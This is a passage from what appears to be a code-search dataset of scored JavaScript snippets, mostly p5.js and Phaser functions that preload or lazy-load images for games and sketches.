&& hasSrc\n })\n\n if (hasNotLoadedImages.length === 0) {\n this._unbindEvents()\n return\n }\n\n hasNotLoadedImages.filter((image) => {\n // and fit condition\n const viewTop = image.offsetTop - containerScrollTop\n return viewTop < containerHeight + this.option.preloadHeight && viewTop > -image.offsetHeight\n })\n .forEach((image) => {\n const rawSrc = image.dataset['src']\n image.src = rawSrc\n image.dataset['__loaded'] = true\n })\n }", "title": "" }, { "docid": "bd861dbde43f3dd8182039acf598d3fd", "score": "0.6967615", "text": "function preload() {\n\n //load images from config\n config.preload.images.forEach( img => game.load.image( img.key , config.imagesPath + img.name ) );\n\n //Load spritesheets\n config.preload.spritesheets.forEach( spritesheet => game.load.spritesheet( spritesheet.key , config.imagesPath + spritesheet.name , spritesheet.width , spritesheet.height ) );\n }", "title": "" }, { "docid": "9c1584a02535cca8adef168221ae1819", "score": "0.69663626", "text": "function preloadImages(array) {\n if (!preloadImages.list) {\n preloadImages.list = [];\n }\n let list = preloadImages.list;\n for (let i = 0; i < array.length; i++) {\n let img = new Image();\n img.onload = function () {\n let index = list.indexOf(this);\n if (index !== -1) {\n // remove image from the array once it's loaded\n // for memory consumption reasons\n list.splice(index, 1);\n }\n };\n list.push(img);\n img.src = array[i];\n }\n }", "title": "" }, { "docid": "65956324ddb3e381344b4fedeb8c701d", "score": "0.69265413", "text": "function loadImages() {\n var $img = $('.js-lazy-img[data-src]').first();\n $img\n .attr('src', $img.data('src'))\n .removeAttr('data-src')\n .on('load error', function() {\n loadImages();\n });\n }", "title": "" }, { "docid": "869c3f76ca32d9f2beec598b22a6e21c", "score": "0.69236505", "text": "function preload() {\r\n // preload style images\r\n la_muse = loadImage(\"img/la_muse.jpg\");\r\n mathura = loadImage(\"img/mathura.jpg\");\r\n matildePerez = loadImage(\"img/matilde_perez.jpg\");\r\n matta = loadImage(\"img/matta.jpg\");\r\n rainPrincess = loadImage(\"img/rain_princess.jpg\");\r\n scream = loadImage(\"img/scream.jpg\");\r\n udnie = loadImage(\"img/udnie.jpg\");\r\n wave = loadImage(\"img/wave.jpg\");\r\n wreck = loadImage(\"img/wreck.jpg\");\r\n}", "title": "" }, { "docid": "d5abf0dc162dc0c424f4a684ec085bf2", "score": "0.6919148", "text": "function preload(imgURLs) \r\n{\r\n\tvar images = new Array();\r\n\tfor (i = 0; i < imgURLs.length; i++)\r\n\t{\r\n\t\timages[i] = new Image();\r\n\t\timages[i].src = imgURLs[i];\r\n\t}\r\n}", "title": "" }, { "docid": "f815c8ede8280b8a5c4395419de5ed16", "score": "0.69172275", "text": "function preload()\n{\n //load images here\n dogImg = loadImage(\"images/dogImg.png\");\n happyDogImg = loadImage(\"images/dogImg1.png\");\n}", "title": "" }, { "docid": "eeeafbe154a9d39aa2ca82e2ff857916", "score": "0.69052845", "text": "function preload() {\n // img variable (declared above) loads image using given path\n img = loadImage('data/pic2.jpg');\n}", "title": "" }, { "docid": "2ada49ae5afbdfe676e4733c9c018262", "score": "0.68972254", "text": "function preload() {\n\timg = loadImage(\"doge.png\");\n\timg2 = loadImage(\"doge-wow.png\");\n\timg3 = loadImage(\"doge-bread.png\");\n\timg4 = loadImage(\"doge-cool.png\");\n}", "title": "" }, { "docid": "79980665817f7885ec29eba18f1db83c", "score": "0.6890372", "text": "function preload() {\n butterflyImg = loadImage(\"images/butterfly00.png\");\n flowerImg = loadImage(\"images/flower.png\");\n}", "title": "" }, { "docid": "e40e33df8b6526af3c11c3c705fee261", "score": "0.68871045", "text": "preload() {\n this._scrapeAssets();\n this.assets.array.forEach(obj => {\n if ('nPath' in obj) {\n this.load[obj.type](obj.key, [obj.path, obj.nPath]);\n } else if ('bPath' in obj) {\n this.load[obj.type](obj.key, obj.path);\n this.load[obj.type](obj.key + '_b', obj.bPath);\n } else {\n this.load[obj.type](obj.key, obj.path);\n }\n });\n\n // Loading Border Camera Masks\n this.load.image('top-border-mask-camera', 'assets/Masks/topMaskCamera.png');\n this.load.image('bottom-border-mask-camera', 'assets/Masks/bottomMaskCamera.png');\n this.load.image('left-border-mask-camera', 'assets/Masks/leftMaskCamera.png');\n this.load.image('right-border-mask-camera', 'assets/Masks/rightMaskCamera.png');\n }", "title": "" }, { "docid": "b71ccc67de716021ca88cce3ad6da463", "score": "0.6880077", "text": "function loadFirst() {\n for (let i = 0; i < 8; i++) {\n preloadImage(images[i]);\n }\n}", "title": "" }, { "docid": "60077bdaab3406aa5453b65ab3fb0a79", "score": "0.6875395", "text": "function preloadImages(sources) {\n var images = [];\n for (var i = 0, length = $rootScope.experiment.length; i < length; i++) {\n images[i] = new Image();\n images[i].src = 'images/images/' + $rootScope.experiment[i].image;\n }\n }", "title": "" }, { "docid": "d006438c6e0d370f25edfb32c00a6a62", "score": "0.68584925", "text": "function PreloadImages(){\n\tImages.grass = new Image();\n\tImages.grass.src = \"grass.png\";\n\tImages.hexagons=[];\n\tfor(var i = 0; i < 2; i++){\n\t\tImages.hexagons[i]= new Image();\n\t\tImages.hexagons[i].src = \"hex\"+i+\".png\";\n\t}\n\tImages.selected = new Image();\n\tImages.selected.src = \"sel.png\";\n\t/*Images.resources=[];\n\tfor(var i = 0; i < 4; i++){\n\t\tImages.resources[i]=[];\n\t\tfor(var j = 0; j < 9; j++){\n\t\t\tImages.resources[i][j] = new Image();\n\t\t\tImages.resources[i][j].src = i+\"-\"+j+\".png\";\n\t\t}\n\t}*/\n}", "title": "" }, { "docid": "1d60488da1f1527ebc44fdbba41641ba", "score": "0.6856141", "text": "function preload() {\n clownImage = loadImage(\"assets/images/clown.png\");\n feltTextureImage = loadImage(\"assets/images/black-felt-texture.png\");\n sakuraImage = loadImage(\"assets/images/sakura.png\");\n flyImage= loadImage(\"assets/images/butterfly.png\");\n coffeeImage = loadImage(\"assets/images/coffee.png\");\n}", "title": "" }, { "docid": "099024aceab97f398c7919376c438f63", "score": "0.6851071", "text": "function preload() {\n for (let i=0; i<numFrogImages; i++) {\n let loadedImage = loadImage(`assets/images/frog/frog-${i}.png`);\n frogImages.push(loadedImage);\n }\n\n // barkSFX = loadSound(`assets/sounds/bark.wav`);\n\n frogSlapAnimation = loadAnimation(\"assets/images/frog/frogSlap1.png\", \"assets/images/frog/frogSlap2.png\", \"assets/images/frog/frogSlap3.png\");\n\n}", "title": "" }, { "docid": "7d55c80ecb86584319042a464303ae15", "score": "0.68495125", "text": "function initImages() {\n for(var i=0; i < BACKGROUNDS.length; i++) { \n backgrounds.push(\"./backgrounds/\"+BACKGROUNDS[i]);\n }\n preloadImages(backgrounds);\n }", "title": "" }, { "docid": "74649e22d7e18d45c72332c2a81a56c6", "score": "0.6848519", "text": "function preload(){\n img = loadImage ('assets/images/alienship.png');\n img2 = loadImage ('assets/images/asteroid.png');\n}", "title": "" }, { "docid": "afbfa9997935143f69ccceafc56ea0e6", "score": "0.6842596", "text": "preload() {\n console.log('Loading base Info images');\n this.load.image('blurred-bg', base + 'interactives/packet-attack/assets/blurredBackground.png');\n this.load.image('startButton', base + 'interactives/packet-attack/assets/startButton.png');\n this.load.image('replayButton', base + 'interactives/packet-attack/assets/replayButton.png');\n }", "title": "" }, { "docid": "28a117684be6c6add9af670487c85adb", "score": "0.6841376", "text": "function preload() {\n rocketImg = loadImage('../assets/rocket.png');\n asteroidImg = loadImage('../assets/asteroid.png');\n}", "title": "" }, { "docid": "eb1594a18b7469dd4060317b18478641", "score": "0.6831829", "text": "function preload() {\n img = loadImage(\"../images/snowForest.jpg\");\n owl = loadImage(\"../images/owl.png\");\n}", "title": "" }, { "docid": "1a2a3305758d751106b7f46d141f78dd", "score": "0.6831805", "text": "function preload(){\nfrog = loadImage('https://upload.wikimedia.org/wikipedia/commons/5/59/Pacific_Tree_Frog_%28Pseudacris_regilla%29_3.JPG')\nchameleon = loadImage('https://upload.wikimedia.org/wikipedia/commons/6/60/Flap-necked_chameleon_%28Chamaeleo_dilepis%29_female.jpg')\nocto = loadImage('https://upload.wikimedia.org/wikipedia/commons/e/ec/Octopus_vulgaris_BCN_0219_Mustekala_C.JPG')\ncuttle = loadImage('https://upload.wikimedia.org/wikipedia/commons/4/4b/Sepia_officinalis_%28aquarium%29.jpg')\n\n}", "title": "" }, { "docid": "e42cd0288c1f3b0062e43cf77e9752a0", "score": "0.68271554", "text": "function preloadImages(){\n\t\timageArr = [\"earth.jpg\",\"earthBump.jpg\",\"earthSpec.jpg\", \"clouds.png\", \"moon.jpg\", \"moonBump.jpg\", \"star.png\", \"triangle.png\"];\n\t\tvar total = imageArr.length;\n\t\tvar dir = \"multimedia/images/\";\n\t\tGameMain.images[0] = THREE.ImageUtils.loadTexture(dir+imageArr[0],{},function(){\n\t\t\tGameMain.images[1] = THREE.ImageUtils.loadTexture(dir+imageArr[1],{},function(){\n\t\t\t\tGameMain.images[2] = THREE.ImageUtils.loadTexture(dir+imageArr[2],{},function(){\n\t\t\t\t\tGameMain.images[3] = THREE.ImageUtils.loadTexture(dir+imageArr[3],{},function(){\n\t\t\t\t\t\tGameMain.images[4] = THREE.ImageUtils.loadTexture(dir+imageArr[4],{},function(){\n\t\t\t\t\t\t\tGameMain.images[5] = THREE.ImageUtils.loadTexture(dir+imageArr[5],{},function(){\n\t\t\t\t\t\t\t\tGameMain.images[6] = THREE.ImageUtils.loadTexture(dir+imageArr[6],{},function(){\n\t\t\t\t\t\t\t\t\tGameMain.images[7] = THREE.ImageUtils.loadTexture(dir+imageArr[7],{},function(){\n\t\t\t\t\t\t\t\t\t\tchangeLoadingDiv();\n\t\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t});\n\t\t\t\t\t});\n\t\t\t\t});\n\t\t\t});\n\t\t});\n\t}", "title": "" }, { "docid": "8f23ec11da70edec6b8fcf038fdff790", "score": "0.68258", "text": "function preload(){\n\t\tfor( i = 0 , k=preload.arguments.length ; i<k ; i++ ){\n\t\t\tq.urlPaths.push( preload.arguments[i] );\n\t\t\tq.sources.push( new Image() );\n\t\t\tq.sources[q.sources.length-1].src = preload.arguments[i];\n\t\t\t/*q.sources[q.sources.length-1].onload = function(){\n\t\t\t\tconsole.log(this.src+' has loaded');// confirm load (debug)\n\t\t\t}*/\n\t\t\tconsole.log(q.sources)\n\t\t}\n\t}", "title": "" }, { "docid": "62f1a1510cc13270d14b1c3af850d9e5", "score": "0.68256587", "text": "function preload() {\n for (let i = 0; i < headCount; i++) {\n heads[i] = loadImage(`images/head${i}.jpeg`);\n }\n for (let i = 0; i < torsoCount; i++) {\n torsos[i] = loadImage(`images/torso${i}.jpeg`);\n }\n for (let i = 0; i < feetCount; i++) {\n feet[i] = loadImage(`images/feet${i}.jpeg`);\n }\n}", "title": "" }, { "docid": "51aebfcf80e395d6bd7ce592e285d36f", "score": "0.681544", "text": "function preload() {\n //加载图片\n kettle_left = loadImage('new_assets/kettle-left.svg');\n kettle_right = loadImage('new_assets/kettle-right.svg');\n waterDrop = loadImage('new_assets/waterdrop.svg');\n}", "title": "" }, { "docid": "45c807dc6d71a5a2d13c7894c44febfa", "score": "0.68112093", "text": "function preload() {\n // Loop once for each rock image, starting from 0\n for (let i = 0; i < NUM_ROCK_IMAGES; i++) {\n // Load the image with the current number (starting from 0)\n let rockImage = loadImage(`${ROCK_IMAGE_PREFIX}${i}.png`);\n // Add the image to the array for use later when randomly selecting\n rockImages.push(rockImage);\n }\n\n // Load the sausage dog image\n limestoneImage = loadImage(`${SAUSAGE_DOG_IMAGE}`);\n}", "title": "" }, { "docid": "3de9a03f849f989ea314132022ab5aec", "score": "0.6802539", "text": "function preload(){\n crossImage = loadImage(\"assets/cross.png\");\n smileyImage = loadImage(\"assets/smiley.jpg\");\n}", "title": "" }, { "docid": "49239ca05006beb8918ce2efdf2d05fa", "score": "0.68006766", "text": "function preloadImages()\n{\n var _suits = ['Oros','Copes','Espases','Bastos'];\n var _numbers = [1,2,3,4,5,6,7,8,9,10,11,12];\n for(var i=0;i<_suits.length;i++)\n {\n var suit = _suits[i];\n for(var j=0;j<_numbers.length;j++)\n {\n var num = _numbers[j];\n\t\t var image = new Image();\n\t\t var name = num+'-'+suit.toString().toLowerCase();\n\t\t image.src = 'public/img/'+ name +'.png'\n\t\t\tcachedImages[name]=image;\n\t\t}\n\t}\n\n}", "title": "" }, { "docid": "3997af703e3833fbc1456d674671042b", "score": "0.6800359", "text": "function preload() {\r\n// preload() runs once, it may make you wait\r\n// img = loadImage('cat.jpg'); // cat.jpg needs to be next to this .js file\r\n// you can link to an image on your github account\r\n img1 = loadImage('https://fallingyuki.github.io/diyps/diyps_images/img1.jpg');\r\n img2 = loadImage('https://fallingyuki.github.io/diyps/diyps_images/img2.jpg');\r\n img3 = loadImage('https://fallingyuki.github.io/diyps/diyps_images/img3.jpg');\r\n img4 = loadImage('https://fallingyuki.github.io/diyps/diyps_images/img4.jpg');\r\n img5 = loadImage('https://fallingyuki.github.io/diyps/diyps_images/img5.jpg');\r\n img6 = loadImage('https://fallingyuki.github.io/diyps/diyps_images/img6.jpg');\r\n img7 = loadImage('https://fallingyuki.github.io/diyps/diyps_images/img7.jpg');\r\n img8 = loadImage('https://fallingyuki.github.io/diyps/diyps_images/img8.jpg');\r\n img9 = loadImage('https://fallingyuki.github.io/diyps/diyps_images/img9.jpg');\r\n img10 = loadImage('https://fallingyuki.github.io/diyps/diyps_images/img10.jpg');\r\n}", "title": "" }, { "docid": "102725b7189974f3c2942fe073d0c473", "score": "0.67869204", "text": "function preload() {\n img = loadImage('rocket.png');\n imgF = loadImage('fire.png');\n}", "title": "" }, { "docid": "d5d1a007d2c7a2b50f524ca0bf3894d3", "score": "0.6786644", "text": "function preload() {\n // Clear the saved info\n imageList = [];\n\n // Get the first image's filepath from the input\n //const inputElement = document.getElementById('firstImageName');\n const filename = 'Screenshot_2019-12-04 Button Generation Practice(0)';\n\n // Find the place where we can change the ID of the image (look for the bracket and then edit the number inside of it)\n const bracketIndex = filename.indexOf('(');\n\n // Delete the rest of the filename\n const filenameTrimmed = filename.substr(0, bracketIndex + 1);\n\n // Create a string to hold the iamge path\n const imageFolder = 'data/';\n\n // Load in all of the images until it fails to load\n for (let i = 0; i < 3; i++) {\n // Create the filename with the ID, bracket, and .png extension\n const newFileName = `${filenameTrimmed}${i}).png`;\n const fullFilePath = imageFolder + newFileName;\n\n // Try to load the image object. If it fails, call the fail function\n const imageObj = loadImage(fullFilePath);\n\n // Add the loaded image to the array\n imageList.push(imageObj);\n imageListNormalized.push([]);\n }\n\n // Output debug information\n //console.log(imageList);\n //console.log('Loading images complete!');\n}", "title": "" }, { "docid": "1795f405f0944b6a57738f6a698d1eb7", "score": "0.6783907", "text": "function loadAssets() {\n images['background'] = preloadImage('background.jpg');\n images['wheel'] = preloadImage('wheel.png');\n images['coin'] = preloadImage('coin.png');\n images['ticker'] = preloadImage('ticker.png');\n images['rigButton'] = preloadImage('rigButton.png');\n\n\t\t// Don't initialize until images are loaded\n\t\t(function initOnLoad() {\n\t\t\tif (numImagesLoaded >= numImages) {\n\t\t\t\tinit();\n }\n\t\t\telse {\n\t\t\t\trequestAnimationFrame(initOnLoad);\n }\n\t\t}());\n\t}", "title": "" }, { "docid": "2b25df994ca6d91b5866444bc271d0b1", "score": "0.6769762", "text": "function preloadImages(images, callback) {\n\n preloader(images, _preload, callback);\n\n function _preload(asset, doneCallback) {\n asset.img = new Image();\n asset.img.src = 'img/' + asset.id + '.png';\n\n asset.img.addEventListener(\"load\", function() {\n doneCallback();\n }, false);\n\n asset.img.addEventListener(\"error\", function(err) {\n doneCallback(err, asset.id);\n }, false);\n }\n}", "title": "" }, { "docid": "06c921c8a28a14a691acdae5c4016520", "score": "0.67624307", "text": "function initImagePreLoading(item) {\n\t\t\t\t\t\t\t\tvar ba_images=new Array();\n\t\t\t\t\t\t\t\tvar imageamounts=0;\n\t\t\t\t\t\t\t\titem.find(\"ul li img\").each(\n\t\t\t\t\t\t\t\t\tfunction(i){\n\t\t\t\t\t\t\t\t\t\tvar $this=$(this);\n\t\t\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t\t\tba_images[imageamounts] = $this.attr('src');\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\timageamounts++;\n\t\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\titem.data('ba_images',ba_images);\n\t\t\t\t\t\t\t\n\t\t\t\t\t}", "title": "" }, { "docid": "8d81cf283b5ce19883f007f863cb2726", "score": "0.6759088", "text": "preload() {\n this.load.image('bg', `${this.config.assets}/img/bg.png`);\n this.load.image('bull', `${this.config.assets}/img/bull.png`);\n }", "title": "" }, { "docid": "56bd5447fe39255b3f0c559ae033da0e", "score": "0.6750635", "text": "function preload() {\n img = loadImage(\"images/334.jpg\");\n // img = loadImage(\"/Users/ziyuzhang/Documents/GitHub/CVML2020/docs/images/333.jpg\");\n}", "title": "" }, { "docid": "53b31500ba0b2561e6698f82d3ff3327", "score": "0.6747714", "text": "function loadImages(callback) {\n var loaded = 0;\n for (var i in sources) {\n sources[i].source += \"?cache=\" + new Date().getTime();\n sources[i].target.onload = function () {\n if (++loaded >= sources.length) {\n callback();\n }\n };\n sources[i].target.src = sources[i].source;\n }\n }", "title": "" }, { "docid": "5ae29d7aed118efcf8db7613fdf22a6f", "score": "0.6735565", "text": "function preload(imageUrls, options) {\r\n \r\n if (options.afterEach) {\r\n afterEach = options.afterEach\r\n } else {\r\n afterEach = function(x, y) { } // default: do nothing\r\n }\r\n \r\n if (options.afterAll) {\r\n afterAll = options.afterAll\r\n } else {\r\n afterAll = function(x) { } // default: do nothing\r\n }\r\n \r\n if (options.completed) {\r\n completed = options.completed.slice();\r\n } else {\r\n completed = [] // default: empty\r\n }\r\n \r\n \r\n if (imageUrls.length == 0) {\r\n return afterAll(completed);\r\n }\r\n \r\n var current = imageUrls[0],\r\n remaining = imageUrls.slice(1),\r\n afterEach,\r\n afterAll,\r\n completed;\r\n \r\n \r\n completed.push(current);\r\n \r\n var image = new Image();\r\n image.onload = (function(afterEach, afterAll, completed, remaining) {\r\n return function() { \r\n \r\n afterEach(completed, remaining);\r\n preload(remaining, {afterEach: afterEach, afterAll: afterAll, completed: completed}); \r\n }\r\n })(afterEach, afterAll, completed, remaining);\r\n \r\n image.src = current;\r\n}", "title": "" }, { "docid": "b243f2ce240eeb9368997e3a5cbe60f6", "score": "0.6734207", "text": "preload() {\n this.loadAssets();\n this.createImages();\n }", "title": "" }, { "docid": "95bb70f92e7a1dd7802d5dd677b3681b", "score": "0.67227596", "text": "preload() {\n // loads images which can be used in sprites\n this.load.image('space', 'assets/media/images/deep-space.jpg');\n this.load.image('bullet', 'assets/media/images/bullets.png');\n this.load.image('ship', 'assets/media/images/ship.png');\n }", "title": "" }, { "docid": "f816d44a9f41a933aa4ac9a3450e6eba", "score": "0.6721414", "text": "function preload( )\n{\n\tvar sources = genImageFileNames( ) ;\n\n\tfor (i = 0; i < sources.length; ++i) {\n\t images[i] = new Image();\n\t images[i].src = sources[i];\n\t}\n\t// This function generates the image file names\n\tfunction genImageFileNames( ) {\n\t\tvar fileNames = [] ;\n\t\tvar suits = [\"clubs\", \"diamonds\", \"hearts\", \"spades\"] ;\n\t\tvar ranks = [2, 3, 4, 5, 6, 7, 8, 9, 10, \"jack\", \"queen\", \"king\", \"ace\" ] ;\n\t\tfor ( suitIDX = 0; suitIDX < suits.length; suitIDX++ )\n\t\t\tfor ( rankIDX = 0; rankIDX < ranks.length; rankIDX++ ) \n\t\t\t\tfileNames[ ranks.length * suitIDX + rankIDX ] = \n\t\t\t\t\t\"cardimages\\\\\" + ranks[ rankIDX ] + \"_of_\" + suits[ suitIDX ] + \".png\" ;\t\n\t\treturn fileNames ;\n\t} \n}", "title": "" }, { "docid": "84ce4d187e9abd7177bd92673ddc8a6e", "score": "0.671574", "text": "function preloadImages(){\n\n \t\t //INIT- on applique un preload aux images servant à créer la slide\n\t preloadPictures([tableSlides[i]], function(){\n\t \t\t//si c'est chargé, on appelle la fonction qui va créer la slide\n changeSlide()\n\t\t});\n \t}", "title": "" }, { "docid": "3c9a524cb46bdedc427de07cd0f42299", "score": "0.67121416", "text": "preload() {\n const config = Config.getConfig();\n this.game.load.image('loading', config.images.preloaderLoading);\n this.game.load.image('brand', config.images.preloaderLogo);\n }", "title": "" }, { "docid": "a3f9d310513d0a50902a7861e59824d0", "score": "0.67121106", "text": "function preload() {\n imgM = loadImage('Assets/doctor strange endgame.jpg')\n imgN = loadImage('Assets/iron man endgame.jpg')\n imgO = loadImage('Assets/spider man.jpg')\n}", "title": "" }, { "docid": "1a8f4012dd0a708230a79f3adc0d5527", "score": "0.6711334", "text": "function preload() {\n // preload() runs once\n //For loading images, you will need to define the preload function\n img = loadImage('TomAndJerry.jpg');\n}", "title": "" }, { "docid": "d0c1670adaa79c0a39426a8d232277fc", "score": "0.6707831", "text": "function preload() {\n imgFloco = loadImage('floco.png');\n imgPapaiNoel = loadImage('papai-noel.jpg');\n}", "title": "" }, { "docid": "8a3f5435086cb788f862753b9ef1e0ae", "score": "0.67067367", "text": "function preload() {\n\t// Thug life assets\n\timgThugLifeGoggles = loadImage(\"goggles.png\");\n\n\t// Dog assets\n\timgDogEarRight = loadImage(\"https://i.ibb.co/bFJf33z/dog-ear-right.png\");\n\timgDogEarLeft = loadImage(\"https://i.ibb.co/dggwZ1q/dog-ear-left.png\");\n\timgDogNose = loadImage(\"https://i.ibb.co/PWYGkw1/dog-nose.png\");\n}", "title": "" }, { "docid": "93ea5908191aca3ca664522aa648f6b2", "score": "0.6706281", "text": "function preload(){\r\n\tboyimg=loadImage(\"images/boy.png\");\r\n treeimg = loadImage(\"images/tree.png\")\r\n\r\n }", "title": "" }, { "docid": "80e9e3bbafd4aaf98c3c0dd679780563", "score": "0.6697378", "text": "function preload(){\n C1=loadImage(\"Images/car1.png\")\n C2=loadImage(\"Images/car2.png\")\n C3=loadImage(\"Images/car3.png\")\n C4=loadImage(\"Images/car4.png\")\n C5=loadImage(\"Images/car5.png\")\n parking=loadImage(\"Images/parking-icon.png\")\n track=loadImage(\"Images/track2.jpg\");\n fence=loadImage(\"Images/fence.png\");\n}", "title": "" }, { "docid": "57ecd100c3b0aeb224fb9e39ff5c7911", "score": "0.6680127", "text": "function preloadImage() {\n\tif (!preloading.active)\n\t\treturn false;\n\n\tif (preloading.pos < (totalImages - 1)) {\n\t\tpreloading.pos++;\n\t\tshowNotification(\"Preloading image \" + (preloading.pos + 1), 1000);\n\t\tvar preloader = new Image();\n\t\tpreloader.src = images[pagination.page-1][preloading.pos].full;\n\t\tpreloader.addEventListener('load', preloadImage);\n\t} else {\n\t\tpreloading.done = true;\n\t}\n}", "title": "" }, { "docid": "9f88fc1e02f275d2e072f63232f1514d", "score": "0.667862", "text": "function reload( ) {\n \n // kill existing preloader\n if( preload != null ) {\n preload.close( );\n }\n \n // define preloader\n preload = new createjs.LoadQueue( false );\n preload.addEventListener( 'error', handleFileError );\n preload.addEventListener( 'progress', handleOverallProgress );\n preload.setMaxConnections( 5 );\n \n // assign asset queue for loading\n manifest = theImages;\n}", "title": "" }, { "docid": "6ce4fb7b73677cac7b5d7425d7f6c7b1", "score": "0.666843", "text": "function preload()\n{\n for (let i=0;i<n;i++)\n {\n imgs[i]=loadImage(links[i]); // filling imgs with images\n }\n}", "title": "" }, { "docid": "3e826681dd6bad7622145ed9ff066e21", "score": "0.6667941", "text": "function preload() {\n //runs through array of dessert images...sets variable i to 0 before code is executed..starts at 0 and if i is less than 4, it increments by 1 to the next image in the array\n for (let i = 0; i <= 4; i++) {\n //loadImage() function ensrues image is beady for rendering before doing anything with it.. i increases/iterates as does the file names, thus allowing the code to increment through image and story it in the pics array\n pics[i] = loadImage(`Images/dessert_${i}.jpg`);\n }\n}", "title": "" }, { "docid": "2e5995a30586a7078092f2b1a2e53f27", "score": "0.6667567", "text": "function preload() {\n //image\n pikachuYellowImage = loadImage(\"assets/images/pikachuFace.png\");\n frogGreenImage = loadImage(\"assets/images/bulbaFace.png\");\n turtleBlueImage = loadImage(\"assets/images/squiddleFace.png\");\n backgroundImage = loadImage(\"assets/images/background.png\");\n}", "title": "" }, { "docid": "b450afda8eb01910c1d8118d054ef081", "score": "0.6667457", "text": "function loadImages () {\n Y.all('img[data-src]' ).each(function(img) {\n ImageLoader.load(img);\n });\n }", "title": "" }, { "docid": "42c6ae0bc259eeeed552f40cf10c63d6", "score": "0.66542715", "text": "function preload() {\n img = loadImage(\"lion.jpg\");\n}", "title": "" }, { "docid": "80cabc15cca95dd1713d61e185be3b95", "score": "0.6651989", "text": "function preload() {\n\n miCangrejo = loadImage('especiesOceano/cangrejo.png');\n miPez = loadImage('especiesOceano/pez.png');\n miMedusa = loadImage('especiesOceano/medusa.png');\n miCaballito = loadImage('especiesOceano/caballito.png');\n miPulpo = loadImage('especiesOceano/pulpo.png');\n miEstrellita = loadImage('especiesOceano/estrellita.png');\n miTiburon = loadImage('especiesOceano/tiburon.png');\n miFondo = loadImage('especiesOceano/fondo.jpg');\n miFondo2 = loadImage('especiesOceano/oceano2.jpg');\n\n}", "title": "" }, { "docid": "47e68d36b2513cf5483b9d9a9219ca89", "score": "0.6643856", "text": "function preload() {\n targetImage = loadImage(\"assets/images/animals-target.png\");\n\n decoyImage1 = loadImage(\"assets/images/animals-01.png\");\n decoyImage2 = loadImage(\"assets/images/animals-02.png\");\n decoyImage3 = loadImage(\"assets/images/animals-03.png\");\n decoyImage4 = loadImage(\"assets/images/animals-04.png\");\n decoyImage5 = loadImage(\"assets/images/animals-05.png\");\n decoyImage6 = loadImage(\"assets/images/animals-06.png\");\n decoyImage7 = loadImage(\"assets/images/animals-07.png\");\n decoyImage8 = loadImage(\"assets/images/animals-08.png\");\n decoyImage9 = loadImage(\"assets/images/animals-09.png\");\n decoyImage10 = loadImage(\"assets/images/animals-10.png\");\n}", "title": "" }, { "docid": "4c12a5b35ade30bf0e80fcac2b88dbb6", "score": "0.66423965", "text": "function preload(){\n dog=loadImage(\"Dog.png\")\n happydogIMG2=loadImage(\"happydog.png\")\n}", "title": "" }, { "docid": "7b3108245f70b1baf9404c4bc82c7f38", "score": "0.6641051", "text": "function preload() {\n img = loadImage(\"Sunflower.PNG\");\n}", "title": "" }, { "docid": "534904feb83b4c4802aac47fb12ab4c5", "score": "0.6637787", "text": "function preload() {\n src = loadImage(\"source-small.png\")\n}", "title": "" }, { "docid": "8f8016929da885d31331d626f1e63591", "score": "0.6631936", "text": "function preload() {\n img = loadImage('star.jpg');\n}", "title": "" }, { "docid": "dfb7bb31167f60d654190156af327a48", "score": "0.66294813", "text": "function preload() {\n\n // load images\n yumTexture = loadImage(\"images/yum.jpg\");\n racTexture = loadImage(\"images/racoon.jpg\");\n healthyTexture = loadImage(\"images/healthy.jpg\");\n sickTexture = loadImage(\"images/sickly.jpg\");\n}", "title": "" }, { "docid": "6504b7569187333ded1ec0844be2aec1", "score": "0.66250634", "text": "function preloadImages()\n{\n\tobjBlankImg.src = imagePath + \"trans.gif\";\n\tobjTickImg.src = imagePath + \"tick.gif\";\n\tobjCrossImg.src = imagePath + \"cross.gif\";\n\tradio_d.src = imagePath + \"radio_d.gif\";\n\tradio_s.src = imagePath + \"radio_s.gif\";\n\n\tif (new String(document.location).indexOf(\"_cm\",0) == -1) {\n\t\tconfirm_n.src = imagePath + \"cnfrm_btn_n.jpg\";\n\t\tconfirm_r.src = imagePath + \"cnfrm_btn_h.jpg\";\t\t\n\t} else {\n\t\tconfirm_n.src = imagePath + \"coach_cnfrm_btn_n.gif\";\n\t\tconfirm_r.src = imagePath + \"coach_cnfrm_btn_h.gif\";\t\t\n\t}\n\n}", "title": "" }, { "docid": "3a5f2dee48223e652d830bbf40dc942d", "score": "0.662212", "text": "function preload() {\n img = loadImage(\"assets/Asia.jpg\");\n}", "title": "" }, { "docid": "eae0fa24c4ecae193449f554ad69c234", "score": "0.6614481", "text": "function preload(callback) {\n\n var $imageElements = data.itemsContainer.find('img'),\n totalImages = $imageElements.length,\n loadedImages = 0;\n\n if (options.preloadImages === false || $imageElements.length === 0) {\n callback();\n return;\n }\n\n $imageElements.each(function () {\n $(this).bind('load', function () {\n // Add to number of images loaded and see if they are all done yet\n loadedImages += 1;\n if (loadedImages === totalImages) {\n // All done, perform callback\n callback();\n return;\n }\n });\n // May need to manually reset the src to get the load event to fire\n // http://stackoverflow.com/questions/7137737/ie9-problems-with-jquery-load-event-not-firing\n $(this).attr('src', $(this).attr('src'));\n\n // If browser has cached the images, it may not call trigger a load. Detect this and do it ourselves\n if (this.complete) {\n $(this).trigger('load');\n }\n });\n }", "title": "" }, { "docid": "24acd3b276d8060aa293a90c22e05c4f", "score": "0.6605874", "text": "preload() {\n //images are assigned a special key, so they are accessible later on.\n this.load.image(SKY_KEY, \"assets/sky.png\");\n this.load.image(GROUND_KEY, \"assets/platform.png\");\n this.load.image(STAR_KEY, \"assets/star.png\");\n this.load.image(BOMB_KEY, \"assets/bomb.png\");\n //spritesheet divides the png into frames based on framwWidth and frameHeight props. it makes animating an object in motion easy.\n this.load.spritesheet(DUDE_KEY, \"assets/dude.png\", {\n frameWidth: 32,\n frameHeight: 48,\n });\n }", "title": "" }, { "docid": "6977e2bf371a7cc27590e8a48b115bd8", "score": "0.6605847", "text": "function preloadOnLoad(imgURLs)\r\n{\r\n\taddLoadEvent(preload, imgURLs);\r\n}", "title": "" }, { "docid": "81ee5bb14d78b05734e69ae53879194e", "score": "0.6596982", "text": "function preload(){\r\n tree = loadImage('assets/tree.png');\r\n house = loadImage('assets/house.png')\r\n}", "title": "" }, { "docid": "4f72acc54b86e682fd1d41d15425e689", "score": "0.65914154", "text": "function 